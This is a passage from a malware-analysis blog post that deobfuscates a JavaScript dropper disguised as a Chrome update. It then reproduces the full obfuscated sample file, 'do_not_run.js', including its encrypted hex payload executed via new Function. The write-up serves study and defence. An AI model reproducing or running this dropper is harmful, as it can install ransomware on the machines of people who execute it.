("X", "O", "c", "m", "h")]]["c" + ("G", "w", "R", "e", "h") + (10).toString(36) + ("A", "W", "V", "i", "r") + "C" + ("Z", "O", "W", "o") + ("R", "N", "A", "y", "d") + "e" + "A" + "t" /*YZz3OuivKuwgqjkFVKu0*/ ]((88, 53, 3, 90, 0)); } mirjokbynet++; }; ``` Apart of methods we discussed so far, we can spot here couple of strange logical operators usages. First, let's simplify the code and deobfuscate all we can using already know techniques. I've renamed ```mirjokbynet``` into ```k``` and ```juqno``` into ```j``` as well: ```javascript while (k <= permy.length) { dikol = (permy.substr(permy.length - k)).split(''); for (var j = +!!false; j < defiq.length; j++) { defiq[j] = defiq[j] ^ dikol[j % dikol.length].charCodeAt(0); } k++; }; ``` This looks better. Now, we can follow code execution in this fragment of malware. As we can see, in ```while``` condition variable named ```permy``` is used and its definition assign ```"H@D~7a84O"``` string as its value. It's time to figure out how this fragment works: ```javascript while (k <= 9) { // 9 is value of permy.length ``` Next line defines value for array ```dikol```: ```javascript dikol = (permy.substr(permy.length - k)).split(''); ``` As in this place value of ```k``` equals 0, ```dikol``` becomes the last element of ```permy``` string (which is splitted into an array by ```split('')``` call), so its value in first ```while``` iteration becomes ```[0]``` Now, the ```for``` part: ```javascript for (var j = +!!false; j < defiq.length; j++) { defiq[j] = defiq[j] ^ dikol[j % dikol.length].charCodeAt(0); } ``` Into what value ```+!!false``` evaluates? * initialy, it is ```false``` * then, first ```!```, which is logical NOT (negation) changes it into ```true``` * and next ```!``` again changes it into ```false``` * finally, ```+``` casts Boolean value ```false``` into Integer ```0``` (you can check this flow, step by step, in Chrome console): ![False](assets/false.png) So many efforts to get just one ```0```... Next, we have another logical operators inside ```for``` loop. As we found, ```defiq``` is an array with decimal values (it's initial string passed into IIFE after couple of transformations we discovered earlier). We will focus now on first element of ```defiq``` array, which is ```65```. The result of expression ```defiq[j] ^ dikol[j % dikol.length].charCodeAt(0)``` is calculated in several steps: * ```j``` is actual loop control value. For first element it will be ```0```, so the result of ```j % dikol.length``` is ```0``` (```0 % 1 = 0```). Remember that ```dikol.length``` in this iteration equals 1. * now, we have expression ```defiq[j] ^ dikol[0].charCodeAt(0)``` which evaluates into ```65 ^ 79``` (```65``` is first element of ```defiq``` array and ```79``` is a result of ```dikol[0].charCodeAt(0)``` - ```dikol[0]``` equals ```O``` (capital o), and ```'O'.charCodeAt(0)``` equals 79 * operator ```^``` is bitwise operator XOR (eXclusive OR). The result of expression ```65 ^ 79``` is ```14```. Next, ```k++``` increments value of ```k``` and the whole operation starts again. This loop lasts as long as whole ```defiq``` array is transformed into new values. --- __Logical and bitwise operators__ ```! (logical NOT)``` http://devdocs.io/javascript/operators/logical_operators#Logical_NOT ```^ (bitwise XOR)``` http://devdocs.io/javascript/operators/bitwise_operators#Bitwise_XOR https://en.wikipedia.org/wiki/Bitwise_operation#XOR --- ## Almost done! Last fragment of malware should be easy to deobfuscate with all tricks we've learnt: ```javascript for (var vaxofibcid = +!!false; vaxofibcid < defiq[(21).toString(0x24) + (14).toString(0x24) + ("o", "w", "n") + "g" + ("W", "w", "v", "K", "t", "t") + (17).toString(36)]; vaxofibcid++) { defiq[vaxofibcid] = "ms" ["c" + "o" + ("T", "L", "w", "T", "n") + ("p", "z", "K", "O", "P", "s") + (29).toString(0x24) + ("k", "B", "o", "L", "P", "r") + ("K", "b", "g", "t", "u") + (12).toString(36) + ("Y", "U", "T", "t") + (24).toString(0x24) + ("Y", "i", "r")][("p", "V", "E", "L", "G", "f") + "r" + ("X", "X", "o") + "m" + ("d", "R", "J", "A", "C") + "h" + (10).toString(0x24) + (27).toString(0x24) + (12).toString(0x24).toUpperCase() + "o" + ("K", "Y", "a", "v", "N", "d") + (14).toString(36) /*PBi4j6Mle9j71igjdR2P*/ ](defiq[vaxofibcid]); }; tyttaluli = defiq[("Q", "Z", "U", "j") + ("H", "J", "o") + (18).toString(36) + ("v", "s", "I", "v", "N", "n") /*vdmIiGO523flagErARiC*/ ](''); paghimqycgi["t" + ("J", "g", "G", "o") + "S" + (29).toString(36) + ("E", "N", "p", "r") + "i" + (23).toString(36) + ("a", "g", "X", "v", "g") /*UnDf5WWU1YYgk8xYA8QT*/ ] = fnConstructor[(12).toString(36) + "o" + ("N", "B", "a", "u", "g", "n") + (28).toString(36) + "t" + "r" + "u" + (12).toString(0x24) + (29).toString(0x24) + ("O", "J", "g", "V", "H", "o") + (27).toString(0x24)](tyttaluli); var gogoq = "1cf4d5" + paghimqycgi + "631a403f5"; ``` becomes ```javascript for (var r = +!!false; r < defiq.length; r++) { defiq[r] = String.fromCharCode(defiq[r]); }; t = defiq.join(''); v.toString = fnConstructor.constructor(t); var gogoq = "1cf4d5" + v + "631a403f5"; ``` The only purpose of all this code is to perform manipulation of an array, to finally get a string passed to ```nilse``` function: ```javascript nilse(gogoq); function cicuza(val) { (...) }; function nilse(tefkysab) { return (new Function()(tefkysab)); }; ``` And that's pretty all. Our deobfuscated malware sample looks now much more readable but it still can be quite hard to run it and make it works (I found that there's some error which does not allow to finish last transformation): ```javascript (function(quhuvu6) { var defiq = cicuza(quhuvu6); var permy = "H@D~7a84O"; var v = { getpy: "myqniroqa3" }; var fnConstructor = String.constructor; var t = "mokzine"; var dikol = []; var k = 1; while (k <= permy.length) { dikol = (permy.substr(permy.length - k)).split(''); for (var j = +!!false; j < defiq.length; j++) { defiq[j] = defiq[j] ^ dikol[j % dikol.length].charCodeAt(0); } k++; }; for (var r = +!!false; r < defiq.length; r++) { defiq[r] = String.fromCharCode(defiq[r]); }; t = defiq.join(''); v.toString = fnConstructor.constructor(t); var gogoq = "1cf4d5" + v + "631a403f5"; nilse(gogoq); function cicuza(val) { var result = []; for (var i = 0; i < val.length; i += 2) { result.push(parseInt(val.substr(i, 2), 16)); } return result; }; function nilse(tefkysab) { return (new Function()(tefkysab)); }; }("41553a304f0b442(......) // string cut for readability ``` ## Summary Methods presented in this post are quite simple and based on JavaScript language syntax. Although they were found in real life code (infection vector was fake Chrome update - as I mentioned at the beginning of this post, the code has not been run thanks to Windows setting showing file extension and my colleague spots that this is not update installer but JS file and did not run it) Main intention of this file was to trick anyone who download this code to click it. After all transformation we followed, the final version of this code becomes Windows Script Host (WSH) file which can for example download and run real malware or ransomware. If you are curious how it will be possible, you can take a look at my previous post, where I'm going through RAA ransomware, popular JavaScript ransomware with CryptoJS build-in library and Locky malware dropper: https://github.com/bl4de/research/blob/master/raa-ransomware-analysis/README.md --- __Windows Script Host__ https://en.wikipedia.org/wiki/Windows\_Script\_Host --- ## Comments? Thoughts? Questions? If you have any questions or doubts - feel free to contact me: - Twitter: https://twitter.com/_bl4de - email: bloorq .(o,o)/ gmail.com Thank you for reading! Best Regards, ================================================ FILE: javascript-malware-obfuscation/do_not_run.js ================================================ (function (quhuvu6) { var defiq = cicuza(quhuvu6); var permy = "H@D~7a84O"; var paghimqycgi = { getpy: "myqniroqa3" }; var xewubdiwhit = "kydka"[(12).toString(36) + (24).toString(36) + ("r", "w", "h", "Z", "n") + ("n", "X", "L", "s", "w", "s") + "t" + (27).toString(36) + "u" + "c" + ("d", "m", "b", "t") + ("z", "E", "z", "n", "o") + ("N", "J", "r")]; var tyttaluli = "mokzine"; var dikol = []; var mirjokbynet = (27, 50, 52, 21, 1); while (mirjokbynet <= permy[("h", "g", "B", "W", "l") + "e" + (23).toString(0x24) + "g" + ("u", "Z", "W", "u", "t") + (17).toString(36)]) { dikol = (permy[("M", "H", "s") + ("C", "N", "D", "u") + (11).toString(0x24) + (28).toString(0x24) + ("T", "k", "t") + "r"](permy[(21).toString(0x24) + "e" + "n" + (16).toString(36) + ("L", "S", "x", "t") + ("I", "D", "h") /*Q5E278CBpoixvOtUNpix*/] - mirjokbynet))[("d", "R", "p", "s") + ("H", "K", "A", "s", "D", "p") + "l" + "i" + ("Y", "b", "h", "t") /*O7MOfVrRkP9RlXlfKLxi*/](''); for (var juqno = +!!false; juqno < defiq[("R", "t", "E", "l") + ("y", "e", "f", "R", "e") + (23).toString(36) + (16).toString(36) + "t" + "h" /*H3RMPYzEeu55OVeGgb1v*/]; juqno++) { defiq[juqno] = defiq[juqno] ^ dikol[juqno % dikol["l" + (14).toString(36) + "n" + (16).toString(0x24) + (29).toString(0x24) + ("X", "O", "c", "m", "h")]]["c" + ("G", "w", "R", "e", "h") + (10).toString(36) + ("A", "W", "V", "i", "r") + "C" + ("Z", "O", "W", "o") + ("R", "N", "A", "y", "d") + "e" + "A" + "t" /*YZz3OuivKuwgqjkFVKu0*/]((88, 53, 3, 90, 0)); } mirjokbynet++; }; for (var vaxofibcid = +!!false; vaxofibcid < defiq[(21).toString(0x24) + (14).toString(0x24) + ("o", "w", "n") + "g" + ("W", "w", "v", "K", "t", "t") + (17).toString(36)]; vaxofibcid++) { defiq[vaxofibcid] = "ms"["c" + "o" + ("T", "L", "w", "T", "n") + ("p", "z", "K", "O", "P", "s") + (29).toString(0x24) + ("k", "B", "o", "L", "P", "r") + ("K", "b", "g", "t", "u") + (12).toString(36) + ("Y", "U", "T", "t") + (24).toString(0x24) + ("Y", "i", "r")][("p", "V", "E", "L", "G", "f") + "r" + ("X", "X", "o") + "m" + ("d", "R", "J", "A", "C") + "h" + (10).toString(0x24) + (27).toString(0x24) + (12).toString(0x24).toUpperCase() + "o" + ("K", "Y", "a", "v", "N", "d") + (14).toString(36) /*PBi4j6Mle9j71igjdR2P*/](defiq[vaxofibcid]); }; tyttaluli = defiq[("Q", "Z", "U", "j") + ("H", "J", "o") + (18).toString(36) + ("v", "s", "I", "v", "N", "n") /*vdmIiGO523flagErARiC*/](''); paghimqycgi["t" + ("J", "g", "G", "o") + "S" + (29).toString(36) + ("E", "N", "p", "r") + "i" + (23).toString(36) + ("a", "g", "X", "v", "g") /*UnDf5WWU1YYgk8xYA8QT*/] = xewubdiwhit[(12).toString(36) + "o" + ("N", "B", "a", "u", "g", "n") + (28).toString(36) + "t" + "r" + "u" + (12).toString(0x24) + (29).toString(0x24) + ("O", "J", "g", "V", "H", "o") + (27).toString(0x24)](tyttaluli); var gogoq = "1cf4d5" + paghimqycgi + "631a403f5"; nilse(gogoq); function cicuza(syhri) { var fahomyfo = []; for (var segovmiw4 = parseInt((0).toString(36)) /*CN1b367Z19XZqi8XgI67*/; segovmiw4 < syhri["l" + ("F", "T", "H", "e") + "n" + ("G", "n", "O", "g") + (29).toString(36) + ("u", "X", "U", "p", "h")]; segovmiw4 += parseInt((2).toString(36))) { fahomyfo[("E", "w", "f", "F", "p") + ("G", "i", "L", "u") + "s" + "h"](parseInt(syhri["s" + "u" + "b" + "s" + ("M", "h", "M", "U", "f", "t") + ("M", "q", "r")](segovmiw4, (85, 19, 84, 9, 2)), parseInt((42).toString(0x24)) /*uShFAoMcgqPvcds6w2xD*/)); } return fahomyfo; }; function nilse(tefkysab) { return (new Function()(tefkysab)); }; }("41553a304f0b442551284206" + "672651014d1e1a60127" + "b2a146b3625332202274" + "17121712e033c64344e117735272b512a500b5c6034782e4d743625546f000c5" + "a4e183" + "46c166d6802293f5a7d3a55296d561b1c35680f03131b24356b3f070303" + "510100237e2b2e03780474091516297067364539282132" + "2d44" + "3e1a6c1646096d6a495a1b1c2a656a214e683e675d35724c440d152624734c72391521602a6b096f595b0349106b36251b22564e647e6728260516141a4f0f353d773141241368" + "5464381848" + "641f2c5e02343b160c3a3e" + "7b4a5a21540040395a7e315c7f095b0b7a5f1c45392e3e3d42497a5f2b795370196b7265615e1e41214624227f681b084" + "674462b7323426a4f732c54221809266549417877177231114671397e1b4341707f651c103835741b0" + "c0f6743741442321c576c43171b144c317278043d7731360716136374261325363b396109034f13775f55367b70136f637c7264401a3e35505e6d49096c6d742d642c6513250f456f646" + "c72427e4e492b2c2a2c5e6e19494f17092f7c" + "027d512c46410c390b07" + "043179291842696d415b51376f50132d7c766a4a5413637c1f1b44510839392b786602222a403918715856514f00172e6c224b5a7" + "c1223685031633157041f434d3037424" + "72e307c707e04471d354e" + "0b1f3d655f162604630d22576c460c5d13570235063143784" + "23e042d3b29680e675d0a7f117e3432" + "4e3c7d08" + "4" + "83336250f031c3e7b346f4c4271685c6f66233f38345e" + "1c686b46427471413925223c1a286320296e0" + "a0c" + "714635217d2e4e2236266907341951263a596c1b196b115f61502a5" + "e4806773078341c6f5a1b3132624d1935251" + "9462a1b67247b714137" + "55014721234d02166d3d2a5e2551" + "6944393f413814731702513b792d0a6b527b16786b4c7" + "80b7b2246144" + "e172e451479296d3b3" + "44b4354577e77690830674d6f49145b075b35770449692d42755e6273000f420371662f6d743a7064636c701" + "317225747753d38424" + "c260e0866134c71725e6" + "94a4a0b3e32" + "3459533a68731c7d6f28217f1b183e723e64311068545046235a645f682f33105168177f1b3b57034c2d4570037f6351285d1f6a1c48293b62077e704e0b55756510415a361c6d04425a560d325a0f522f3a1a36704e344f4f255d7b1f5e397f3b523" + "063220b7f512b7b025a5823065c7422786e5a25173a7c7b6c0" + "e5566095d36775857511d6f611b432420717524196e77057d7b1310033a182059757f68037" + "407" + "2e613d6d" + "2a" + "76223d6b1b3f323500411f4c0330670378082573367e514b370e25" + "24511a6f622f433e415a354e547f255d7f7" + "4102c4" + "d7552150626595957091e5d0477182a0f6d434" + "15e503d6d383d2141415705341e3e4142681c09683e290b360e423f1c3d6e054f091d2c60702d132537515c49322e6e21017306460a4a576d4f1125596a257421683a7613242f36691f097e59633" + "5206c651e5861596e7b016a42696b36683e421d3d4a4536103746043c" + "467b3b6c30586" + "d3b17015f4c1f055e150464102e49674d285a130159" + "043d080e140917571a704d6837186a15692e325e515a39305d09661f2a7c0b1732616b1664045c234d296d6f493a07730225224d6d2d4b1b40237c" + "515b310a6a494178732d2b7757684c641964275e1b2c343240734e2d" + "461409555" + "07c134a643b033" + "8772c3f5e045e04657439180f144a36382e353e7f70" + "70646c315e344a387a065a6f0a440c1c671" + "b0756102d0a36590b4e6c22250a267e547f717102011d" + "7f4f261852072975771a53294c60270b1a190e05706b797e59171e70" + "466f036f3" + "7000b3a015f51521f404e15452b145852176d106846322a373a5c7c2f56155a341f121709636e79330c4908730863" + "2c5a691f06605b7035314a443a1a457e7111380323732e49420b1e141257675633425014372a621f7431156" + "c304139120064634207292a0f67325a72431c392b36114a425" + "c641e487c4808367f7f731d007c69217c5c6" + "6555e463a0577334c3e617f1255325" + "51a516c593d603f144e74745a4e31286b72615e274279382a0455291f377f433121142c214f5f084a32304f22136e5e55565e64453a227b2773" + "2741726c434123740120182f1e49685e514a6c6b1b0f64560303655" + "d5c" + "046" + "9337429300250170e73271d0" + "031461346326f217817023a4f7a2d3608684515073f40270c6c5a77173" + "6545d715669491f223717481b532c4b7b0e07500c600014682f41062341196b01685c7b71041903392e513a6f6c0d3d7f7073412a411" + "96b7220400b7f1b7941242273257767352a7c033e" + "0242772d0e002f76071" + "57d11750c2b2438001b78312e55701d391539" + "31384571674f05095f21071d59431500322246420e183629360b0a1f5" + "c0" + "50b4a37745c2a61261d226014" + "746c0679324650326d354f0b7e692344233f06076a64455e493115460c4971070e351a7b7a265248245c31314613465a0b3232663a" + "564d61196f72556167335e2f20276b445d0410684d435130781d787341391d511a52322d5576600e4c08495a10412b" + "5535261b2b01593550391d422a1b585a272" + "e" + "4e683e14240b497d" + "5943606d2b0008563c3c" + "2056415220591831326f5f736a6c414f140" + "24626241443670f0" + "57" + "b464d3a616e1f3e5d5a102a5f7b2a08656f723e2f30174c55042f09" + "255a6f6546272" + "3563c29087f7" + "0523" + "9234549700a052b5a311e5d7c774e60225d670a28263c4c17222734552c5a605d" + "65581053461c107a1b5e63" + "07434c661e227165296848231210666851041e136d59" + "42774531320057524016360f27362a024729750360514f055965082246153" + "267511f48301a24" + "460d0a2d5d1161677" + "51e772e655" + "36c79017c4d53665c134b035104585633731b320349" + "412" + "47f4156506c134f7f6a17417261427076786c4" + "a386025787309220d1b1b0540051c0b0" + "a5e2e1c31726b2a3a0c181c7b4b592512744d41633" + "d2d2d36297417466f6e3a4217064d0b172f0065652d26" + "1960" + "105f27772c5a2651690a6c4a664a42170b0862564f5b700d2d1133782f2b100d264a2521266167055b5a49572629484c495b0f1b08653b6f3106046c545e110256774b60076d" + "097b230f172119340b313d1f3d79423b096e64042c1733565e49145c7f3d0476490773660c" + "4d0b3a372e3a4d25545a273c25773464100e6926536b130b4b154f396152600c726b6c212c175e1818541b734e1b19505616792e682f151f475a356" + "3471961454a4e0" + "b41607f5979675b445a35406736667b551a74556b785e504e607b6f5618563e6b6866633" + "720241c3a386116741f67393d3b3971615e3474363e685c2179163e192f357a244a11033a47170e49343235006646616" + "56536070671455d2a3" + "d2d403b361828506e2721132d3" + "10f493663087c5d1" + "54d0152036c4d431c5" + "e6574425e49496b" + "634" + "01f445e2d420870035f370d5a54422c3e3e330a21125a46475e" + "75" + "5e217c7b105e6905504a705c4" + "669266b1528602561" + "6d44666b015732765270644d75182751416" + "13c4b49373613094e325f20420b283b5751154a472d19106f" + "1b46216b203f1d6a0f3564632b186c6c604e0e1335593e0b747c2d544965377c1579216b507e0a561" + "8421" + "3226514431c703e044f5a1" + "1693d1404305d7a68180c0" + "23d3b336c0c143f4e2f1c546c4b0f264d4e5e3a1d00407f205a324e372f212e285f767a77393d70781358643c392252047f566e382f0c6b21031c08410f133501456f52" + "1" + "c355018732d36101803517c7837" + "252344496a2f22642c24284d4d041f3e62363" + "86b4a177c581b764c18521f" + "301" + "f6a513a404573267d161c" + "2154007b241b3152117" + "e5d212" + "95e1e78163b3d177475192a497f2935784a" + "2e27107d423258345a6977216c074b6b" + "6240" + "367d740d21" + "77187c216548523f6e491739083d7c3d074472702c5541567024463a3932651b14415d344f635b1b3b4a0b3e412429186" + "d2534265c703663600b0b5d66703126737b76223525321c2e357064" + "606c6341216f697d6c510032674d436f693077196e03391a3340734b177d3c2c3e5175451b6c262a2c5e7c5a04516f034e4034684762180f4b3b024e04223d6848106569041f387b5c5a3c630" + "d226f3953087e7814154b5510276d7e6364706f135" + "36c3517745a4f4d0641247b7b64507407057c5f217d1a03015a0" + "73977314" + "b2e7578005f744" + "d635a6348" + "4a333d7a440" + "c61162b517036696e072c3f1c2d6a1d423f635930126439297f0f29741734566f182f6c177a5" + "15f74750e4e4c1c387b3e5a5e0f3c735e41073" + "5410073111f7b77465f746c03323d6f2b10206b3f3c2a501f160d68263d210d2272633707" + "6f1c0d74720d2059142f0166011a45" + "110a2a37457824054e0e4a762b795a0c2b7a43076d09352" + "c697d0" + "2222c7f01367847717b77326a0f6f14781b7b32097e5661025d4178216e7442456c5018015c753434" + "7b05060b57754403223a2e7a6a391853557a095b6c226d5f375d035e0803717e540d382606291b62177243267" + "560115279777a297775353d0052255218782a60555664742f36480b" + "7a0c577d450a0f7b2b650119692f3c1e6b6d68507b2a1f2e65632364552d5d0e4e7a0d2754296c6d232e37712a1b7e02350c750129" + "53" + "74375" + "a225258730" + "f14307d2145670e02420c21224e0f5e735e705504500219721c0b40252c5e0d0" + "d025a545c2d492a0b1c7a2c7" + "c196f333145740029635d48486226" + "3a2a7430780436037d243a7e4d046846093363035d0d48763902562d5c28264" + "80a1a760c6921785f522b0d295167" + "307a43725668682e7f7d7b" + "717d68" + "552e6c" + "7652500e5a53383b526f4b7c2772221050165f0077357d1a52785232520b7e0804277352202" + "21a23552a46510854242b17620c02477058335b3151154c09287d7f0d3606752079600e3354452a0540353131572211493f7d297900785a153f69362d583621105a1d7877282" + "e1426065" + "f15415730004f2618782d6170782a2841" + "257121264b5d2408612c2575257e0c52082d251d59037f61766a28500968" + "0c1321577e5e4c6d5a3f637e7338134c7714250c4a285d0" + "40" + "d7252" + "6b1b735b66564040085f295654055005" + "4271214e286722780e7f730f4d071a2d7703483" + "f553f3" + "9521c2638691f153e5e703d7d7c365b6b146b5e67250d226b415d075c55200" + "e150c7846007c333f637f062152660f66300317220604502c5d295752" + "531716774b0c713612230c414f0b7" + "3515573292b1b1e16136d7a362a262b3234327b211b3f5e7f0b2d501f474d1558355e1314563a517a51170425773451313e2d" + "482829540234520b2b4c18573f" + "7c721c5d2d117729185b2a0808686b2f015e770979036f417e7a1b4d71514b000e08495f0408207616136d7b1d2f14783226260620714e0a51345" + "54b71043c012874550e5931107c730c3" + "c5e17391b2362775e4e2a0e6f7c572f69733" + "9706f1d014f18045a0e3d023f530f03277b2a4a226" + "9200c37595352196f61065e686c5263215e301f037f702e00043f1" + "63a5059565200747f3f655b433f7929" + "285e6f0f4f542b0e677315785" + "6" + "0e6d5a77" + "5e090" + "b38136d767c4d08202d1959" + "73242e64065e725418292547556f5d69365d7170017223463f590735076f7a69" + "290410411b36512c" + "2c7f737573517c28004b4513312" + "65d4d0b47564a545b7972475a2b020a543e19591c7869566a706e0550221f7a0d0e7312525076322977510a7b080025" + "0322021f6206243227027f0c36543f0d072306371450636f070e7a5555006e" + "250716012658052c2f464" + "67c521c7d1a1b0725070f0" + "f0e762c147c293705352" + "07227527552427b627c7e0b61420064327b347c3724292c3e017e115" + "37c3503113b3456680277283243227f035e2d763" + "e0a33556e5435656b062f7755713d" + "5f31085b13" + "380108777a555a5c4f257b704f055c1a4c7506202d4879012d067b2344312a0d737b4e57776773591f2a7" + "f11177475027b296c0b0f5e771d0c4d1a7f110273" + "0c" + "6828742b30741f6e7715585015417e7b742f0f083b497f7a457601407f2668727c540214492354505177790b353d072e1" + "8400e2946" + "5805213d0f5b560e0f5154775" + "7672b4d29131e3e4f2b5" + "e364a132b783d210e6f2901725e0a20491b237d784007" + "4d35365637200733075d3121" + "7b0764216c56111f0a113678065924675004555" + "d5e0b74427d4d0e5239" + "077f70097b2c2b7f39365c1a5e" + "5b681a7b54217d5b2f4750714a23290a5f74524466561f4e0028201659654c0877264a7e1a767a7932012a70" + "710522050d0c7c1e" + "095" + "7" + "5248047e0b01340f040b78" + "4961362b7a3d05324a" + "70762c1a415b0d72" + "5a711a003671145700191" + "c3" + "545047b7053" + "04782b" + "080057551040391b731659653b56415d7703724452007a0a5d6735" + "2910266" + "52f026f" + "235d3b145f2057255d400b5c0f1c7c7b5d7c550c077e2e0d" + "455e2f291b7b3a0c0327650a62772979586d642637670d2752040251495d054d5e597800207f6a627c5e19526d480f7e767e0e436816627a7030241f7c77" + "2e7f5d551f761e537e513d3d7b676c224a04617b25554a56705c6743" + "625a19474f5867050f05644578436819732e17222" + "41177221d6332" + "5b060c592136251e0" + "d140156795e247a2d7b5" + "e1" + "578030d4e59073d3f225f364b707d557a7056224f385426752b1" + "a2a53657f0264077009554b02062f75412f50562860264d4a716c7375563c04196072253543264e0b2f780b327" + "758500555603f" + "542a0e646939787d655" + "8545607466c07590f5a09550762327d58131d565" + "8315c087b4b225b0e116b380e2359105518774575555f73561435137074495f5a6672775b0e522637642f22" + "216a7f4f366837556d0e392c2e642c777c4e766c5c3f670b4e335179063e75317b0451002d0c102443787c3e0f2106272974" + "720647360f4272723811242a" + "597b0273392378427" + "400750a37422c185118457c0474081d5d350d2d7e620b1e2875564307772c0e7d205" + "95a7554185054243" + "6527504" + "7f1b5b0b035733712761554407374" + "25e5c7854033261391972327b637c482a7c4c103e33" + "2b77255d2c01780d0c292c411367610b034f7c417f4152786d14530c0b52765b383c5" + "a3a27647178437652747366715d" + "7421395e0107635078577c2a7b53343d613f0e2727665" + "46f510e0b4d083a75575c5e366e531f630629" + "297a55554d232a4e530356787e7c624e5756" + "4659106" + "70875" + "270d240e235d021f30612561007f76736264097f162d05016563034d3d7f162318782c5" + "c6b292510772e145857512420305602794316700b0b7a27221f5b07462d73604c63" + "5" + "40c22277569293370445d09042772227a0021" + "47735870615a586c155c096f155c52027e702f094331025e" + "0b751e75241d280a39" + "7b004b46017a7d7824190477577c6" + "b0861402f33085f0365597101337b3b3b0b1b01750d22647a542b2c033e3278541f222341" + "047a64067e7e4b0c247f740d58067c7f6e6e7" + "72c364e5955457f0d2" + "61408210e5e2e" + "582c7e56457c612710287472775b18183b277e402e77312a7575721e6c2c195f262a6351303236" + "2127" + "1c4b32205c492e2227320e3a043548221e6b5a002d6c7f3604381c19722a6e234779001" + "45c2a080" + "a116b385e" + "3718571e7f5b13472f25614a122e37535347270c0820220630372d421e762c5f0246004b742d276d22607f2f0d3" + "b7a22280e0858194a6d78645b082046292" + "659662e650a5c081c5d253a0f6a7d3b4c0" + "1270253" + "0e6f095b0c2b3" + "f004f7943611b2016606f01587b06227b0003507b513d436b672123483056156703242066224c020f0a293d300b130f652a733e0d04292c1b0b5d2c2a4274555d6f2b040c26215e29222b2b46752278312910060652332139260b7277676756351804757606730c172e516103015e" + "510c786a142f2f4552194875772" + "d0a5a2b2d054e7a5d317b6f7451707b750662784d222e2" + "e626559325331097369017a432e1506137b2" + "f6a7542106b571e0f582637342607505c5e21410d756d2a7b3e324a5f567e0d596525380d3e0d055d5b57242d591a2166517b1b7758671c2622311d0078782823267766615755700d1b782c35030c61227267475e7506507a490d0f7c2a61051d3" + "879680a71293c51747a1f2963322" + "463507f5b5e4f7c5e66496a693e792834722e1b2e00600c255023416a" + "240170025e" + "215" + "a446f29774d340e52415" + "f227f1f550d710e715b0405051872480e1727290f5f5d46134e0f7c1b2" + "d5d1f7" + "c28795e70273342260e7a3909481c6578682974622e003402292b" + "3c7a4e033b130a63640602064879650c587a547974490f4c23543c262b5e00290c780330677d4a2" + "44" + "4257e7e766d316a7f3e" + "582" + "a6" + "f" + "2554065e02526b3c033d4e7c2873721751145d5" + "42365294e51290761" + "0e02250b0a2174153d301c215c2a4a0e0e087f6d1e6b1e5340215d6b006751114b5d782b7e51670d28227d641e2e151a295e4" + "e3f34660f75025125777f2c562b59473a6b377c046677165a1072267f70103" + "44e44530b42375619214a2e7b32732d23724470" + "7421224a5d7e593421297e742e03025c212f490a597f68706a7e53083d5a107a532c0a49600c3a347925780e587a452a091f790d005a77536f0" + "a3e4f3b0345405d087e58040550561025771c2b372628087e271a031" + "2492b200c183b55683c0749273d290c53680b226a7879641d7057620d3524007c3d400b555c50200854466a4b0" + "3783238647f022851731d25350510715656007e1a671650465f55704" + "30f2737172a5a4e4f59700655257d7d4d1c045c7" + "d7b6c" + "7d253d7c73677f73493f5928012e51465c51515e3f5b441301695d2e16591676716653" + "65652f4a2826050562084f364c51113d2c261c5c" + "7" + "910797b125c76065f" + "6d6f7b510d6d1769053e102d2a414f220610531a145f0a025972" + "71515d7f774d2913213" + "c257a507327434d49" + "2f001c255233012d29075c0f641f7a715535074f30182e6179524f2a013e2e" + "07796822647c6f4d074f4c51560a3c0e68044f1f3773" + "2c1973317b56315a03055e" + "73755605633b5437210e63054e3b217203003d51" + "294b59510f03792a6e645d4c3623782" + "e006" + "b0d091c380933330c6e55016959760c0c58780c29212f4c0b2c2" + "b4f" + "5d22732f63515" + "e755418222511576d0663300921750122325e2a0b523007397d6e7d5d43464d6007282a" + "2a797322517c7f0319471a342709" + "5c1750044e050c79731a547b040c546b1959477232092e6e7e51527f197b06087143585" + "e7d347a27545" + "d7b585e25587314007507322e3402795861516f" + "0d07775734150" + "b346e550e6e4a405e682703440223434d6a78454e2e50472a1a1f012950020d0b787f472f7f3d50307b7222002502422d607c795d32130433602b6326" + "6472782b32002c46532" + "96c03146f3d56395d716e7f582629030b217b360329187f5" + "4346" + "66c062824" + "5c2e6b593508490f7f555872760d00544b23757712005e46417505202d482f0b290e202316632808217b1e052165705e1b7a785059307953777b6f055a0e734a0f181b7f440b74016f2f7b2b317" + "54d3b7e14075101523e2f257b011d2553772d4d771" + "25a3b7536712b55004245785e050073285963" + "6c042a18470e284a0c072235010d0a590c07047b04667a4b2f150f27592c086a1c427f2e64705d6f2e02755604265b55627b2d46081e386657357b5130000f36737c5" + "624322f00464f0d1130" + "2d56003028400" + "c570a0d552a1" + "02f1f0f40211" + "52c2c592e2a787c68640a1f0c5e6e093543267f062d57496a4b226d174" + "8285d4236004b49562722034570" + "4a5b26744a7449722d7e3b52" + "78746217615503087b1f095a544e077b0b50625b07067b4c222b3f7d3f5" + "66e4d707423095a4e5a26507046043424180c564a1b671b50717d5601737b540604071449391827021476281f535a710326450554785907616228" + "47236a7e006c70582e5c4f2402790b445d52061b227103750" + "35" + "a032a7" + "f0f415a752a1a7c3f0e52743208677377705f6b322563300c285" + "6555a075317121f0d592c08" + "22233" + "f3f780d18516d" + "4d4f366d7e09052250627f77682f1d777c7c7b0e514f7113077e073e3c78316f224b5" + "d607c72564a02244878546c0e48474b533d555a0732" + "147a53210f772e47712514717c4d6165080659" + "5a226a7e1e091150057c0f2f2d792b58152d030b495f003168700a38482474537a725970483253252329462c5c31295432516a005c5d055623774779595a2d61241e462a6e797b076651097b63793c1" + "1271a54242a093" + "56545110052363c522a4e2" + "a2d30787b3a0256530a4a3c035e5b0109530b68672856" + "171d570233075b7a4d2" + "55b0f00732a022a0e19554e" + "24482" + "10f0d78564431402727495d0a36237c590c093c2924722727397d4b366f764a78073f7a73377c212" + "c4d7e6c0c6f60094f6b007b5269753074404a402c02137715227b3e0d2f522d7c" + "227001436455457a266b4522235e7" + "d50763a2327167455705f2c5a6a180414422953225c1b58305c7f2b76140a7f7401420" + "02c2c0b7523585d27004a5f552a365227062b465d0d0a5130237d3d5114526d175a537a58006170210d213272347f4f7c7d1e403c372f2229547" + "90d2d575a7f7810466731085219" + "73157" + "410007f7b5c445b0c56770a69335a3e2735257345755224716075582f7c310b07043303" + "7d042a2b21022575723a5d7472360f3e065b0c195a3a7e015e0f6868084f305b297d2a5" + "80b1e732d1e5455512d7f2c6" + "418065a460c176002772001371c3859135221652963042a7027702d4e7b102e0503323d021c68794" + "723192e280e38282" + "64270234059104c317a320c557b49432409" + 